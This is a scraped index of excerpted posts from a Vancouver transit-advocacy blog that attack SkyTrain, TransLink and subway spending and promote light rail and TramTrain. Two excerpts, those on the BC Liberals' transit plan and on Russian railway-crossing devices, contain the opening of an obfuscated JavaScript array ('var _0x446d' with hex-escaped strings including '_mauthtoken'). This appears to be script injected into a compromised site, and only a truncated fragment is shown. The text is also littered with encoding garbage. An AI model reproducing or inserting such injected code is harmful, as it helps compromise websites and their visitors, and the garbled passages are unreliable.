Ah, the truth comes out. It's not congestion or traffic gridlock that is driving the $3.5 billion Massey Tunnel replacement, it is Port Metro Vancouver and Fraser Surrey Docks, as they want a massive subsidized bridge to replace the Massey tunnel so P...

Well kiss any thought of affordable transit goodbye, as the City of Vancouver will never agree to have trams operating on the former interurban line, the Arbutus Corridor.
They may talk the talk, but will never walk the walk.
The Canada Line is extreme...

Being an advocate for better transit in the region is no easy task, made all the harder by those who pretend they know better.
Zwei has spent thirty years in the transit wars, starting with the aborted Vancouver monorail scheme in 1986. Since then I...

On Monday last, another suicide another death on SkyTrain, yet the media and TransLink hides the fact, with the utility phrase; "medical emergancy".
The hypocrisy of the mainstream media makes me upchuck, as if they treated suicides on SkyTrain, li...

TramTrain development in the UK is gaining momentum as the Yorkshire Post reports that a study indicates a tram-train link between MANCHESTER and its airport in north-central England would be a better choice than passenger rail because of grades along ...

When replacing a perfectly good bridge, with a mega billion dollar "vanity" bridge, common sense seems to have been thrown out with the bath water.
We could have twinned the Port Mann Bridge and have enough money to build the proposed Leewood/RftV Rich...

There is an interesting article making its rounds, "5 lessons from Los Angles on transforming transportation (and coming after Portland)",Ai?? in the various transit blogs and I believe it is well worth a read.
Zwei is going to comment briefly ...

Good news everyone! 80% of the people polled support light rail in Surrey, BC.
The bad news is that TransLink is still involved with the planning process.
As for the jobs created, especially maintenance jobs, god knows how they come by those figure...

Is this just changing the chairs on the Titanic, or will Mr. Desmond actually achieve?
I am not holding my breathe, as a far better former CEO, Tom Prendergast soon understood the root cause of TransLink's ills and was promptly sent to Coventry by s...

In Europe, EEC Health and Safety rules mandate that all driverless or automatic passenger transit systems must have platform gates to prevent suicides or accidental falls onto tracks. Not so in Canada, as "Death by SkyTrain" continues unabated.
...

A white elephant is a possession which its owner cannot dispose of and whose cost, particularly that of maintenance, is out of proportion to its usefulness.
To recap, the Canada Line is not a true P-3, rather a mock P-3, where SNC Lavalin/Bombar...

Contrary to TransLink's habitual gold-plating of its LRT projects, modern light rail can be built reasonably cheaply, when compared to other modes of transit.
The cost of the 5.5 km. starter tram line in Lund Sweden, with seven trams is estimated to be...

I see the good professor is taking the same track a Zwei, with my earlier letter to the PM.
Expensive vanity projects like the Broadway subway drive up transit costs, yet provide negligible transit improvements.
The only benefit a Broadway subway will ...

The following is from our friend Mr. Haveacow, from Ottawa, who is a transportation engineer.
Zwei has always stressed that for modern LRTAi?? and TramTrain to operate in BC, the legalities of both must be dealt with.
For trams and LRT, the rules of t...

Really?
Sorry Doug, your diatribe has fallen on deaf ears.
If TransLink really cared about the customer, like other transit agencies do, TransLink would not be held in such high odor by the taxpayer.
TransLink has had over a decade to improve service, ...

Subways are very expensive items and only built when there is no other alternative available.
SkyTrain ICTS/ALRT/ART, was supposed to mitigate the high cost of subway construction, but it didn't as it proved to almost as expensive as a heavy-rail metro...

For those of you who have been pooh-poohing, Zwei's cost estimate for the Broadway subway, the following news item from Toronto should send a not too subtle message that subways are very expensive to build and are only built when there is the massive t...

It seems TriMet, in Portland are playing the part of rubes by hiring former TransLink president and general manager of its subsidiary British Columbia Rapid Transit Company Ltd.,Doug Kelsey. I believe TriMet will soon have buyers remorse because under ...

A snow broom in Sapporo Japan clears snow from the line. Yet in Richmond
a mere dusting of snow and a trace of freezing rain brought the Canada Line to a halt.
Really?
Now, freezing rain and ice storms can stop trams from running, when ice shrouded el...

Another TramTrain operation opening in Germany, where customer friendly transit is the order of the day.
We also have a shovel ready TramTrain plan for Metro Vancouver, the Leewood/Rail for the Valley TramTrain, reinstating the Vancouver to Chilliwack ...

Question: What happens when developers have to pay for expensive subway construction?
Answer: They want to build with much cheaper light rail instead.
Reality: Subways are great, if someone else pays for them.
Lesson: Lost on Vision(less) Vancouver, th...

The TransLink saga carries on.
The Mayors did run TransLink once, but they ran afoul of former Premier Gordon Campbell and his desire to build the worlds only P-3 heavy rail metro which would have less capacity than a streetcar. The province, with for...

This news item from the UK, is good news for those who advocate for TramTrain operation in Canada.
Why?
The Sheffield TramTrains have gone through a rigorous safety program of testing overseen by the UK's Office of Rail and Road formerly her Majesty's...

As the old adage says; "When beggars knock at the door, rush out the back door and check the chickens"; Premier Clark is off to Ottawa begging for some cash for her two ill-found vanity transit projects, the $3 billion Broadway subway and the $2.3 bil...

Seattle is building a subway system, using light rail vehicles. LRT it is not as 70% of the current hybrid rail system is grade separated, either on viaduct or in a subway, with the only at-grade portion traveling through a poorer (black) neighbourhood...

To say I am gobsmacked is an understatement, Global News actually had a rather negative story about SkyTrain, which convinces me some pointed questions about the proprietary railway are circling in Victoria.
Everything about SkyTrain, from it being fo...

Local independent reporter has been tearing into TransLink and the TransLink story seems to go from bad to worse.
Where is the Vancouver Sun? The Province? Her Majesty's Loyal Opposition?
With Transit, there are so may rotten apples in the barrel, it ...

Something new.
In Toronto, developers want light rail and not an expensive subway to replace their life expired SkyTrain Line, the Scarborough R/T. What should be of interest is that the ridership on the proposed LRT/subway route, is more than the pro...

The Evergreen Line, with only seven stations will do very little
for local residents, who will find the car the only practical means of transportation.
The Evergreen Line is the unfinished portion of the old Broadway-Lougheed rapid transit project, bu...

Well, Vision(less) Vancouver is blundering ahead with its much cherished $3 billion subway under Broadway and our feckless politicians South of the Fraser remaining willfully blind to this billions of dollars boondoggle. One would think they would be ...

Some interesting news items from abroad.
An interesting Australia Government paper on long term trends in public transport.
Some interesting comments have been made by an Australian observer: It can be clearly seen that the Sydney tramways wer...

Bombardier Inc. has had some recent finance problems with their aerospace division and is using its rail division as collateral so to speak.
They better make money nowAi??because if they don't perform the CDPQ will own 42.5 % after 5 years.
What does ...

This speaks for itself.
I must remind the unconvinced that going from 4,000 users a day to 15,000 users a day (in TransLink's convoluted lexicon, this equates to over 30,000 boarding's a day), which is a big deal in the U.S.A.
So here is a thought, in...

From our friend Haveacow in Ottawa, an update on the Ottawa light rail.
There is no doubt here in Ottawa that,Ai??the Rideau Transit GroupAi??will need all of the next 2 years 10 months toAi??complete the daunting list of major capital projects that w...

The Port Mann Bridge is a prime example where a government replaces a perfectly good bridge with a multi billion dollar vanity project.
Other examples were the Expo Line, the Millennium Line, the Canada Line, the Fast Ferries, and most recently the BC ...

London Ontario is proposing to build a Hybrid LRT and BRT System, similar to Waterloo Region's Rapid Transit Program. The system would have both an LRT line in the Northern andAi??Eastern portion of the city and a form ofAi??BRT serving the South and ...

For the first time since I have been advocating for better transit, now over thirty years, we now have a minister of the crown who not only understands modern light rail, he is an advocate of modern LRT!
Let us hope new infrastructure minister Amarjee...

Zwei is not against road pricing or congestion charges per se, but before road pricing or some form of congestion charge is implemented in the region, we would need to have a quality public transportation system in place and that we do not, not even c...

One has to give it to the SkyTrain Lobby, they repeat inaccuracies so often they become truth.
The new SkyTrain cars being delivered are not articulated (the LIMs are not powerful enough enough for this), rather all Bombardier did was make a few cars ...

Want to see Vancouver politicians tearing their hair from their heads? Just mention building LRT on the Arbutus Line.
I say not a penny for the Broadway Subway until trams run along the Arbutus Line.
Stockholm completes LidingAi?? Line reconst...

Oops, Bombardier Inc. is having problems and this does not bode well for TransLink as Bombardier Inc is the sole supplier of mini-metro cars for the Expo, Millennium and Evergreen lines.
That what's happen when buy a proprietary railway, they "gotcha"....

Take the poll - http://www.translink.ca/tnc
TransLink is desperate to gain the transit customer's affection and is doing a mock comment process to pretend they are listening, the transit customers friend.
Ha, ha, ha, the joke is on the transit ...

Common sense.
Maybe the University of the Fraser Valley could offer a course in Urban Transit and Transportation, or be even more daring and have a Department of Urban Transport, offering degrees in Urban Transportation, just like Europe!
Guest lect...

Yup, road tolls will spell political suicide for any politician who wants to take up the crusade for road pricing.
But Price and Harcourt are , in part, the architects of the TransLink fiasco, simply because they pretend to be transit experts, but in ...

The Surrey LRT (in dark green) will just inconvenience the bus customer with
an unwanted transfer and one can lose upwards of 70% of potential ridership per transfer.
Well, the Liberals re-announced an already pledged monies to fund one third of the Br...

An interesting item from the BBC, especially when everyone points to speed as paramount for good transit.
What the following does illustrate, is the ongoing scientific exploration of public transit overseas, completely missing in North America, where i...

Now here is a politician who looks three minutes into the future, wanting existing rail lines preserved for future use.
We lost the rails in the Kelowna/Vernon corridor; we are about to lose the E&N; and the city of Vancouver is making damn sure th...

The following news headline from the CBC Cabinet ministers met publicly with KPMG while firm's tax 'sham' under CRA probe may pose some questions, but UBC prof. Patrick Condon would like to remind us all that........
This is the firm UBC and Ci...

Wow, this sort of thing should be illegal, but it seems with TransLink, nepotism is standard operating practice.
The further reporter Bob Mackin investigates TransLink, the more interesting and questionable items surface.
Is it a surprise that the majo...

The regional mayors just do not get it. There is something missing, something very important.
Where is public participation?
Nowhere to be seen.
The defeat of the TransLink plebiscite was, in part, due to the public holding TransLink in high odor and w...

SNC is so intertwined with SkyTrain and the Canada Line that everyone should give this a good read.
Let us remember that judge Pittfield, who presided over the original Susan Heyes lawsuit against TransLink, called the bidding process for the Canada L...

The Beaching era in the UK saw the dismantling and the run down of Britain's extensive railway network. Though some railway lines deserved to be abandoned, many did not. The Beaching philosophy was that railways were obsolete, with the exceptions of t...

The people designing Edmonton's LRT extension must take first prize for "botching it", when drivers will have to wait 16 minutes for a tram to cross a series of intersections.
Does anyone do any research at all?
I know that public transit should super...

One of the big concerns of driverless transit systems is that there is no driver or attendant who can foresee danger on the track. Well TransLink found out in the "Great Storm of 2015" that driverless transit system are at peril with mother nature.
Tr...

An interesting item from Toronto; maybe some TransLink types should read this, or even regional, provincial and federal politicians as well.
Investing massive sums of money on dubious subway "vanity projects" pretending that that any investment in publ...

Well the TransLink pork barrel continues unabated and the real message this conveys is that the premier only regards TransLink as a dumping ground for Liberal lickspittles. The two appointees have absolutely "0" knowledge about public transit and like ...

Taxpayers in Ontario are slowly awakening up to the fiscal realities of modern subway construction, just as their European counterparts did in the 1970's and 80's.
Little known on this side of the pond, is that subway construction in Europe has almost...

Long predicted, TransLink's buses will all be "one-zone" fares, leaving those who ride the SeaBus and SkyTrain, pay premium fares.
Zwei sees this as the road to privatization, where money losing, politically designed and heavily subsidized bus routes ...

Funny that the city of Vancouver preaches that only a SkyTrain subway will spur investment along Broadway, while at the same time, treats light rail as an economic leper.
Well streetcars in Portland, Oregon prove otherwise.
Rail News: Passenger Rail
...

All is not well with Honolulu's new light metro system.
A classic "I told you so" situation has occurred as the fiscal realities of light metro are hitting home very hard. I hope taxpayers have very deep pockets.
With proprietary light metro systems, p...

Light Rail is a streetcar that operated on a reserved rights-of-way.
The resounding NO vote has changed the tune, somewhat, of the Vancouver Sun's reporting of regional transit issues. How long this will last is anyone's guess.
Zwei voted no becau...

I think $3 billion is a tad too expensive, but I am sure Mr. Haveacow will explain the reasons why.
I still maintain that we must plan and build LRT much cheaper than we are currently doing.
On another issue, the claim that: " noise and vibrations ai?...

An interesting read from California.
I wish the Provincial Government would read this quote; ai???Realistically speaking, thereai??i??s no new highway building in the future.ai???, when planning for their bridge and highway vanity projects in Metro Van...

Zwei lived in Nottingham in the mid 70's and is where I first gained interest in urban transit.
While waiting for my then girl friend, who was attending night school, I chanced a free public lecture by a Professor of Transportation (forgot his name) a...

Seattle's light rail system is really a light-metro system, with over 70% of its route grade separated either on viaduct or in a tunnel (subway), yet ridership is dismal.
This not because the system uses light rail vehicles, but because Seattle's polit...

Brisbane Australia has a showcase BRT system, yet transit costs are extremely high.
Maybe it is time to get back to basics about modern light rail and forget the capacity and density debates and build LRT for the economic reason, one tram and one tram...

Are traffic flows along Broadway enough to justify a subway?
Simple answer is no, not anywhere close!
Traffic flows along Broadway are around 4,000 persons per hour per direction in the peak, but because it riders are mostly cheap fare U-Pass holders a...

The mainstream media seldom give somewhat negative stories about TransLink and this item from Radio News 1130 may be the "shape of things to come".
For too long TransLink has treated its passengers as cattle, acting like the "lord of the manor", superi...

One of the perils of expensive proprietary transit systems, is that they do not age well.
The SkyTrain ALRT/ART mini metro Expo Line is now 30 years old and it is beginning to show its age, it stops; it goes kaput from time to time.
With no drivers or ...

Old Zwei has been warning about the costs associated with subways and now New York's MTA says it needs $32 billion over the next five years to repair decaying subway infrastructure! We also have a familiar name, Tom Prendergast, warning that the subway...

A peak 5 minutes into the future.
The same technology can be applied to trams.
From the BBC International Service.
Xoupir: Charles Bombardierai??i??s ai???magic busai??i??
David K Gibson
Charles Bombardier designs things. Fantastical things, like a r...

The monorail lobby is like the the SkyTrain lobby and their motto seems to be;Ai?? don't confuse me with facts."
There are many similarities between monorail and SkyTrain ALRT/ART and in fact our SkyTrain is sometimes mistakenly called a monorail overs...

Interesting article from Toronto, which spells out some fiscal subway realities to TransLink and the City of Vancouver.
Please note Zwei's two comments in the article and should give one pause to think that in Vancouver, the cost of subway construction...

From our friend in Ottawa, Mr. Haveacow.
Well its official, at a press conference at McMaster University, Hamilton will get a roughly 11km 14 stop LRT line from McMaster University in west .Hamilton to the Queenston Traffic Circle in east Hamilton. Th...

This is an interesting experiment.
More and more, solar power is becoming a realistic option, especially with transit.
This is just an experiment, but the potential of using roads to produce power is vast and in twenty years hence; just imagine...........

Next time, forget Bombardier and buy from Siemens or Alstom!
TTCai??i??s new streetcars plagued with manufacturing problems
CEO Andy Byford wants customers to know initial cars were slow to hit the street because they were badly built.
Marcus...

In one of the silliest items written in Canada about public transit, The Globe and Mail's (Mop & Pail) Jeffery Simpson has inked a article about how the taxpayer in the lower mainland should vote YES to build subways because Asia ...

Karlsruhe, Germany, the birthplace of the TramTrain concept, goes from success to success.
For twenty-two years, TramTrain have been operating in the Karlsruhe region with no major accidents, track sharing with both the city tram systems and mainline r...

Another new LRT for Canada!
Using both reserved rights-of-ways and mixed traffic, the Hurontario LRT is a classic 21st century light rail operation.
Brampton, Mississauga to get new 23-km light-rail line
At 26 stops, 23-kilometre line will run fr...

An interesting read and quite pertinent to our transit situation in the lower mainland.
Both the BRT and SkyTrain Lobby's have so perverted the concept of modern light rail, to support their own projects, that the concept of affordable LRT has all but ...

What would happen if the region continues to plan for SkyTrain, yet there is no SkyTrain?
If a potential buyer for Bombardier's rail division already has on the market it's own proprietary railway or railways, they would probably discontinue SkyTrain w...

The same old cliched arguments about modern light rail have surfaced in Langley Township.
What old Zwei finds so tiresome is that the some planners remains so uninformed about SkyTrain light-metro and modern light rail, think both are "rapid transit".
...

From the International Railway Journal.
As TransLink and the regional mayors still champion hugely expensive vanity projects for the region, TramTrain makes very good economic sense.
A basic, bare-bones hourly service, using diesel light rail vehicles,...

Sounds familiar? One could ask the same for our regional transit planning.
HS2: Government has no 'convincing case' for A?50bn rail line
By Chris Johnston Business reporter
The government has no convincing case for spending A?50bn building the HS2 r...

The Compass Card fiasco is not really a TransLink problem, rather it is the epitome of why TransLink has problems; TransLink is a tool of the Premier's Office and it must do the Premier's bidding or face serious repercussions.
Premier Gordon Campbell's...

Interesting item from the Netherlands.
Dutch Engineers have been at the forefront at lift bridge technology for over a century, due to the many canals that traverse the country.
The "tilting lock" would be especially beneficial to railways as there wou...

How soon we forget, the BC Liberals had a $14 billion transit plan for Metro Vancouver and what ever happened to that?
The following from Vancouver Buzz explains events from seven years go.
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","...

Though I am trying to avoid unhappiness with the upcoming transit plebiscite, this item from the Financial Post is well worth a read.
What I find interesting, is the following comment; "Even London, a world leader in public transit and congestion charg...

Toronto's lonely ICTS (SkyTrain) Line is due to be dismantled within ten years because it is life expired, but with the ongoing seesaw debate to replace the ICTS Line with LRT or a subway rages on. To keep the line operable the existing cars need to be...

Battery powered trains are evolving at a fast pace.
For the Chilliwack interurbanAi?? purposes, this sort of train could operate quite well on sections of non electrified track, including the 12.5 section of shared track with the Roberts Bank Railway ...

A little food for thought.
From Liz James and the North Shore News.
From the North Shore News
JAMES: Get facts before marking your ballot
Elizabeth James , contributing writer / North Shore News
March 4, 2015
- See more at:
Emotion will t...

I wonder how TransLink would fare? I guess we will see after the transit plebiscite.
PORTLAND TriMet which runs the area's bus and light rail system is seeing is public approval on the rise despite service issues and financial woes, The Oregonian rep...

Actually it is not a myth, transit customers do prefer rail to buses. The study does leave out the fact that rail's operating costs can be much less than buses because the tram can operate in multiple units, thus with one driver carrying more passenger...

Love to see this happen in Vancouver!
I wonder if the Board of Trade would be supporting TransLink's initiative if their members had to come up with $300 or $400 million for transit improvements or if their members had to pay for the extra cost of subw...

This could be the headline for the metro Vancouver Region is a few years hence.
February 16, 2015
York Region pulls back on infrastructure projects in effort to rein in debt
Torstar News Service VIVA Rapid Transit, launched in 2005 to car...

Vancouver is not the only city having financial problems with transit.
Toronto is mired in political vanity subway projects and the TTC is steaming full speed ahead into a financial iceberg as well.
The Scarborough Subway and Smart Track are ab...

Trams that never stop at traffic lights could be part of Melbourne's people-moving future
By Loretta Florance
ABC News
Trams that never have to stop for traffic lights could be the norm in Melbourne in the future, under plans being developed to deal w...

TransLink CEO Ian Jervis has been made to "walk the plank" in an attempt to appease the No side of the upcoming plebiscite.
A quote from Oliver Cromwell comes to mind, when he dismissed the rump parliament.
You have sat too long for any good you have b...

While both BC Transit and TransLink gold-plate LRT planning with millions of dollars of extras, making tram projects almost as expensive as SkyTrain, the new Le Mans LRT/tramway demonstrates that light rail is affordable for smaller cities.
The new 15...

A single car train on the Yongin Everline Line
The following is from CBC Radio Canada.
Even though the date of this news item is Jan. 28, no news outlet in Vancouver has mentioned it.
It also answers the question why TransLink has ignored the Yongin Li...

The shape of things to come?
Transportation planners in Metro Vancouver should take note that when planning very expensive fixed transit infrastructure to shopping malls, if the mall closes in 15 years, the transit system will have very expensive infr...

The Talk of TramTrain from other than Zwei is good news, especially from Vancouver Island.
A Diesel powered TramTrain service, both for Victoria and Naniamo is doable and would be affordable.
A 18 km. Diesel TramTrain line from Langford to Victoria, pl...

An interesting item from the BBC.
Whatever happened to the future?
By Matthew Wall Business reporter, BBC News
Whatever happened to interplanetary travel, hover cars, and hypersonic jets?
Once it seemed as if there were no limits to how far or fast we...

Old Zwei told you so that the Compass Card was old kit as are the fare gates!
The Compass Card and the fare gates deserve a criminal investigation but that will never happen, not in BC, where the police and courts shy away from political interference.
...

One has to laugh at the imperious TransLink and the gullible mayors trying to sell this dud to the public and the old adage seems to be true: "Those who do not read history, are doomed to repeat the same mistakes".
Trust us says TransLink. Trust us say...

Eric Chris has done some calculations ascertaining TransLink's ridership numbers, independent of what the many pundits and instant experts that are pontificating on the YES side of the TransLink congestion plebiscite. A well known pundit stated on the ...

Liz James, who pens op-ed pieces in the North Shore news has a very good grasp of our local transit ills.
Liz's Jan. 7th article is well worth a read as she has a full grasp of the transit situation, which is more than I can say about the Vancouver Sun...

[caption id="attachment_12738" align="aligncenter" width="600" caption="TransLink's New Rapid Transit for Surrey"][/caption]
I just do not know whether to laugh or cry at this one.
Business in Vancouver (who's co-founder is one Peter Ladner, noted ...

The metro Vancouver region is not alone with financial problems with public transit.
Buses are very expensive to operate and U.K. planners and politicians have been very reluctant to fund modern trams which have proven to mitigate the high cost of publ...

A very welcomed editorial in the Delta Optimist.
Slowly, ever slowly, people are beginning to realize that modern LRT is just not a transit mode, but a transit philosophy!
Here lies the difference between LRT and SkyTrain; as SkyTrain or light metro is...

An interesting item from China, Beijing's metro system, despite being one of the world's busiest, is having funding problems and fares are escalating.
Beijing metro price hike 'squeezing poor'
7 January 2015
Despite it being one of the biggest and...

As predicted by so many, Seattle's "Big Dig" to build an auto tunnel to replacing the decrepit stacked Alaskan Way Viaduct, has hit a pipe and stopped.
It seems the entire highway tunnel under Elliot Bay, is sinking into a sinkhole created by politica...

Despite a growing number of supporters, such as the business community, the City of Vancouver; most of the regional mayors, the provincial NDP and their combined sundry of shills clamouringAi?? for a SkyTrain Broadway subway, many serious questions rem...

The fire was on the Canada Line, which isn't SkyTrain. For those who are not in the know, the SkyTrain system cars are powered by Linear Induction Motors or LIM's and the Canada Line cars are powered by "squirrel cage" electric motors.
Much of Can...

In 1978, the GVRD were poised to install a three leg light rail system on the region and to cross the Fraser river a new bridge would have to be built.
Demonstrating the forward thinking of the era, GVRD planners conceived a multi-use bridge for 'rapid...

Incompetence, thy name is TransLink. Suffice to say, if this happened in Europe and passengers were trapped in a bus for two hours because of a downed trolley line, management would have been fired the next day. All (except for Vancouver maybe) transit...

It will all about the TransLink Referendum in the coming months and regional mayors who haven't a clue about modern public transit will try to force another tax upon the beleaguered taxpayer to fund questionable transit projects, that will do little to...

Yikes, the Vancouver Sun is at it again, blindly shilling for a yes vote in the not yet announced TransLink referendum. This only makes me guess that internal polling shows that a yes vote is far from certain.
All the usual suspects, the B.C. Federati...

TransLink, unfortunately digs very deep holes for itself and Mr. Chris exposes what they want the public to believe as fact, is in fact pure invention.
http://www.translink.ca/~/media/Documents/plans_and_projects/rapid_transit_projects/UBC/alternative...

Some that TransLink and its allies, the Broadway subway lobby fail to mention is that subways and subway stations, by their very nature become massive sumps, if there is a flood, either by storm or by water-main breaks.
Subway station flooding is not u...

This spring's TransLink referendum has a good chance of going off the rails, simply because the bureaucratic behemoth is sailing into very dangerous uncharted waters. Translation, the taxpayer wants to get even.
Why do I say that? TransLink has had "0...

From what I can see, the problems that plagued SkyTrain last summer, were ones of very bad management and deferred maintenance.
TransLink's bad management is legendary and the outfit continues its oppression of transit customers with gestapo like ticke...

From our friend Haveacow from Ottawa
On November 7, 2014 the western tunnel segment and central tunnel segment became one segment. The tunnel for the LRT system in Ottawa is being dug in 3 individual segments, what is called the Sequential Tunneling ...

Looks like the proposed three line LRT network in Surrey, is advancing.
The old anti-LRT rhetoric continues, despite well over thirty years of commercial operation by over 500 tram/LRT lines around the world that disproves this nonsense.
No mention th...

Installed but not working. Until the compass Card becomes operational
the turnstiles stay idle, paying silent testament to TransLink's incompetence.
As expected, TransLink's new Compass Card is turning into a fiasco and now the transit agency is contem...

So, Calgary's Nenshi backs Gregor Robertson's Broadway subway plans. Well not exactly, he supports better urban transit funding and all Mr. Nenshi said was "So I imagine there is a scramble right now in Ottawa precisely to figure out how to fund Vancou...

Like the old fable; "The boy who cried wolf", the ongoing TransLink excuse for problems on the Skytrain system is growing very thin.
Again, SkyTrain goes kaput on the tail end of the morning rush and again TransLink blames a "switch problem" as the rea...

Wow, such BS from Vancouver Mayor Gregor Robertson and mayor wannabeAi??Kirk LaPointe, saying he is going to build an affordable subway is laughable.
Robertson has no proof to back up his claim that a subway will be; "taking 50,000 cars off the road". ...

Those who promote a Broadway subway had better beware, subways are not the magic elixir in attracting ridership.
A Toronto CBC news story giving mayoralty hopeful Doug Ford (brother of the discredited Rob Ford) an "F" for his subway plans contains an ...

Light Rail can be built cheaply, if there is the political and bureaucratic will is there to ensure LRT is built economically.
At first glance the Aubagne tramway is very expensive, costing ai??i??166 million or CAD $235 million to build, but only for...

Interesting news from Victoria, BC Transit is recommending LRT for Greater Victoria.
Though BC Transit doesn't have much competence with modern LRT, the organization certainly has more experience than TransLink, with the historic LRT planning for the B...

I am speechless! Is this the best that TransLink can do?
SkyTrain delays good time to support the economy:
TransLink Spokesperson says grab a coffee or a bite to eat while waiting
Ai??Anita Bathe October 1, 2014
VANCOUVER (NEWS1130) ai??i?? Trans...

In BC, we are backward.
In fact, we are not just backward, we are literally stone age when it comes to transit planning.
Two stories; in Nevada the Boulder rail extension is part of the cost of a new highway and that the CNR sold Georgetown-Kitchener,...

Courtesy Light Rail Now
Micheal Geller has an interesting item in the Vancouver Courier which indicates that Vancouver taxpayers maybe on the hook for a minimum of $500 million for demanding a SkyTrain subway under Broadway.
Predictably, Geller still f...

It now has been four years since the historic release of the Leewood/Rail for the Valley report, yet except for sparse political support, very few people actually know that the study exists, let alone that it is "shovel ready".
The Leewood study is ju...

Not much transit news about with the school strike and the lead up to the November civic elections, but old news is still news.
The CPR want $100 million for the land and the City of Vancouver wants to pay only $20 million, yet $100 million is a bargai...

Interesting article from Toronto.
In Germany in the 1960's and 70's many cities started building subways and replacing their surface tramways. The first noticeable change was that ridership dropped and for many, journey times increased. This was due to...

The Federal NDP have never really cared about regional transit and desperately need some sort of policy to try to show the public they care and and have a plan in time for the 2015 election.
Throwing more money at transit won't solve transportation pro...

Well, someone is waking up at the Vancouver Sun or are they.
SkyTrain is obsolete.
The philosophy behind the operation of SkyTrain is obsolete.
Obsolete transit mode + obsolete transit philosophy = lagging ridership.
So it should come as no surprise V...

Not really about urban rail, but still important for the planned Chilliwack interurban.
Railways need to emerge from the 19th century into the 21st and the federal government must emerge from its 18thAi?? Laissez faire mentality.
If France, the UK, and...

40 metre to 50 metre station platforms limit the Canada line train to
just two cars, severely limiting capacity.
I see TransLink is calling in its markers from the mainstream media and a staff writer (infomercial maybe) has penned a puff piece for the ...

The Arbutus corridor Interurban near 37th
The Arbutus corridor debate continues and Zwei has a made a few observations.
Has anyone in the media ask Molsons if they want to once again use the railway for both delivery and export?
Has anyone in the the ...

This article from Toronto contains some very interesting information.
".........$8 million to hire 100 fare inspectors........"
............and TransLink is spending at least $171 million on fare gates, with annual operating costs of $15 million to d...

From down under.
As we are finding out with the $1.3 billion South Fraser Perimeter Road (which is both poorly designed and built) road projects tend to be as expensive or more, than comparable rail projects.
If you thought using a toll road was cost...

Really, do the math.
TransLink has 170 full time attendants (part time attendants unknown); TransLink operates 57 trains during peak hours; how hard is it to schedule an attendant to be on a train at all times?
Why doesn't TransLink force management ty...

Sorry folks, I mean the SkyTrain Lobby, Zwei told ya so, SkyTrain should have attendants on board every train....................
From the Georgia Straight.
SkyTrain disruptions like the July 17 and 21 outages have happened in the past.
Indeed, a rep...

Really! The Vancouver sun continues to unashamedly shill for the SkyTrain mini-metro system.
I know this is tiresome, in fact downright boring, but the folks at the Sun should know better than take TransLink Press Releases as fact.
The old arguments, t...

TransLink can't help it. It is inbred in them. Honesty is just not in their lexicon. They hire a SkyTrain type, at $1,200 a day to do a review of the two recent embarrassing shutdowns. It is like the police investigating itself.
What should be a truly ...

The reverberations of TransLink's double SkyTrain fiasco continues to echo in Metro Vancouver.
I think transit customers can understand system wide shutdowns, but when the captain and crew leave the passengers to fend for themselves, then very pointed ...

Oops, SkyTrain fizzles again with scores of passengers abandoning the Skytrain and walking down the tracks to escape the damned thing.
It certainly looks like transit customers are completely fed up with SkyTrain and TransLink wants to build more?
...

Zwei belongs to the LRPPro blog and soon began to know that a one Ed Tennyson was someone to listen to as he was a walking encyclopedia of transit knowledge.
Probably no one in Metro Vancouver has ever heard of Mr. Tennyson, but his influence has certa...

The problem with driverless transit systems is that when there is a problem, there is no driver to drive the damn thing if things go wrong.
As SkyTrain ages, stoppages like this will become more common.
Computer problems cause major SkyTrain disrupti...

Really, one tires of this nonsense that Broadway needs a subway.
If the truth were to be told, the Vancouver city fathers want a subway under Broadway because they feel it would make Vancouver a "world class city" and the current political party in pow...

Confirming what Zwei has been saying for the past few decades, on modern streetcar or tram is as efficient as four to six buses.
The key statement from TTC Chair Councillor Maria Augimeri; ".........for every streetcar removed from the downtown core, t...

Though Zwei is not a fan of Jarrett Walker, our Ottawa friend, Haveacow, recommended this post from his blog.
http://www.humantransit.org/2014/07/california-topples-a-tyrant.html
It seems that transit improvements, especially light rail, have been ham...

Liz James understands the problems that beset TransLink as she is one of the few columnists in the region who has taken the time to study the issue.
More and more, the City of Vancouver sounds like a spoiled child having a temper tantrum, wanting a $2 ...

An interesting read from Toronto.
Two items of interest:
Contrary to North American thought, 14,000 persons per hour per direction is not near the upper limit of modern LRT. In 2014, the upper limit for LRT is about 25,000 pphpd. Unfortunately, Toront...

With empty BNSF trains using the SRR of BC Line, to return to the USA via Huntington/Sumas,
the antiquated CPR/SR of BC junction at Clayburn should be modernized and improved. A definite benefit
for a Vancouver to Chilliwack TramTrain service.
It loo...

Just for the record, BC Electric not only ran interurbans on the Arbutus Corridor to Richmond, they also ran inteurbans to New Westminster via the line along the North of the Fraser River. In Theory, the CPR could do the same.
One doubts that the CPR w...

The ongoing saga of the Mayor's Council, TransLink, the Province, and the referendum reads like a 'Penny Dreadful'.
The province has no money, the metro mayors have no money, yet the metro mayors have approved a hugely expensive Vancouver centric rapid...

Metro Mayors are drooling at the prospect of running TransLink, as most think they are transit geniuses. Problem is, most are fiscally irresponsible and only want election winning transit options in their cities and towns.
The Broadway SkyTrain subw...

There is so much wrong with this announcement that it boggles the mind, but it is suffice to say, this plan will not go anywhere.
Let's look at the basics of this announcement.
A SkyTrain subway to Arbutus has nothing to do about transit ridership, it...

In Russia, to cope with the problems of motorists jumping railway signals on express train routes, the following device is used. The rest is self explanatory.
Rail for the Valley take note!
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","...

This interesting study from down South.
The myth makers who favour SkyTrain make much how SkyTrain attracts new development, yet that development has been allowed by city councils, who have allowed for higher densities, read higher buildings) at SkyTra...

Nothing new here.
As the provincial government keeps building new highways and bridges, car use will increase, simple.
As the provincial government, the City of Vancouver, TransLink, and Metro Vancouver, keep planning for and building hugely expensive ...

One of the hardest transit plans to find in the Vancouver Metro Region is the 1978 Rapid Transit Preliminary Design, by the then GVRD. The reason why it is hard to find is that most of the copies were shredded and/or similarly destroyed on orders by t...

All the hype and hoopla about transit funding, reality has struck TransLink in the face like a banana cream pie; ridership has decline, yet there is a surplus or profit.
Oh there are lots of excuses like fewer people working weekdays or there has been ...

In all my years advocating for better transit in the Vancouver metro region, I have never heard an excuse for not building with LRT, that is as silly as this. "An European style lawned tram rights-of-way will kill birds." How low will the SkyTrain lob...

A tram climbing a 16% grade on the Paranino test track.
Paranino ai??i?? a small village not far from Chelyabinsk (which got famous for its recent picturesque meteorite sky show). Itai??i??s a regular village with farmers, cows or goats crossing the st...

On News 1130 today.
Light rail advocate argues against Broadway subway option.
A Broadway subway is all about subsidizing Vision(less) backers and supporters, who have invested heavily assembling lands at potential subway stations, not about moving peo...

